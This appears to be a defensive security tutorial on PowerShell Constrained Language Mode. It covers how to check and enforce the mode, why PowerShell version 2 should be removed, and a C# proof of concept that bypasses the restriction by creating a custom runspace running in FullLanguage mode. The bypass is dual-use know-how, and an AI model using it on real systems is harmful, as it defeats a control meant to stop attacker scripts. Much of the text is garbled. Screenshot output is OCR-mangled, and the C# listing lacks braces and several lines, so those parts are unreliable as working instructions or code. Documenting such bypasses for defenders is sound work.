PowerShell Constrained Mode

PowerShell constrained language mode prevents PowerShell from accessing native API functions. PowerShell can still be used in this mode, but will report an error if a script attempts to use native API functions. Running PowerShell in this mode prevents a lot of offensive security scripts from executing.

It should be noted that an attacker may be able to disable constrained mode, however it at least provides an extra layer of defence.


You can check the current status on constrained mode by executing;

PS C: SExecutionContext .SessionState. Languagemode 
ps C: [System.console]. 
Cannot method. method invocation is 
supported only on core in this Isngusge mcc±. 
:System.ConsoIe] : 
. t:) -2untimeExce;tion 
+ Categorylnfo 
+ FullyQuaIifiedErrorId .

To temporarily configure constrained mode for testing, the following command can be used;

$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"

To permanently configure constrained mode, create an environment variable called “__PSLockDownPolicy” and set the value to 4:


This setting could also be configured by setting a GPO for the environment variable.

PowerShell Version 2

Constrained mode is not supported in PowerShell version 2. Since this version is installed by default on Windows 10, you will want to remove this feature to prevent an attacker from utilising that version of PowerShell to get past constrained mode.

To check if PowerShell version 2 is enabled, execute the following in an elevated command prompt:

Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2
PS C: Get-WindowsOptionaIFeature 
: microsoftWindowsPowerSheIIV2 
: Windows PowerSheII 2.ß Engine 
-FeatureName microsoftWindowsPowerSheIIV2 
i splayName 
Restart Required 
u stomproperties : 
Adds or Removes Windows PowerSheII 
2.ø Engine

To disable PowerShell version 2, execute the following:

Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root

Bypassing Constrained Mode

If application whitelisting is not configured on a host, an attacker can bypass constrained mode by invoking the System.Automation runspace using C#.

The below code will execute PowerShell commands in FullLanguage mode. You will also need to add an assembly reference to the System.Management.Automation.dll in the Visual Studio project;


ConstrainedModeBypass C# Code

using System;
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;

namespace ConstrainedModeBypass
    class Program
        static void Main(string[] args)
            Runspace runSpace = RunspaceFactory.CreateRunspace();

            PowerShell powershell = PowerShell.Create();
            powershell.Runspace = runSpace;

            String cmd = "Write-Output $ExecutionContext.SessionState.LanguageMode";

            Collection<PSObject> results =  powershell.Invoke();

            StringBuilder stringBuilder = new StringBuilder();

            foreach (PSObject obj in results)



The below output shows the system is running in constrained mode, but the application can invoke PowerShell in FullLanguage mode;

PS C:\Users\user\Desktop> $ExecutionContext.SessionState.LanguageMode
PS C:\Users\user\Desktop> .\ConstrainedModeBypass.exe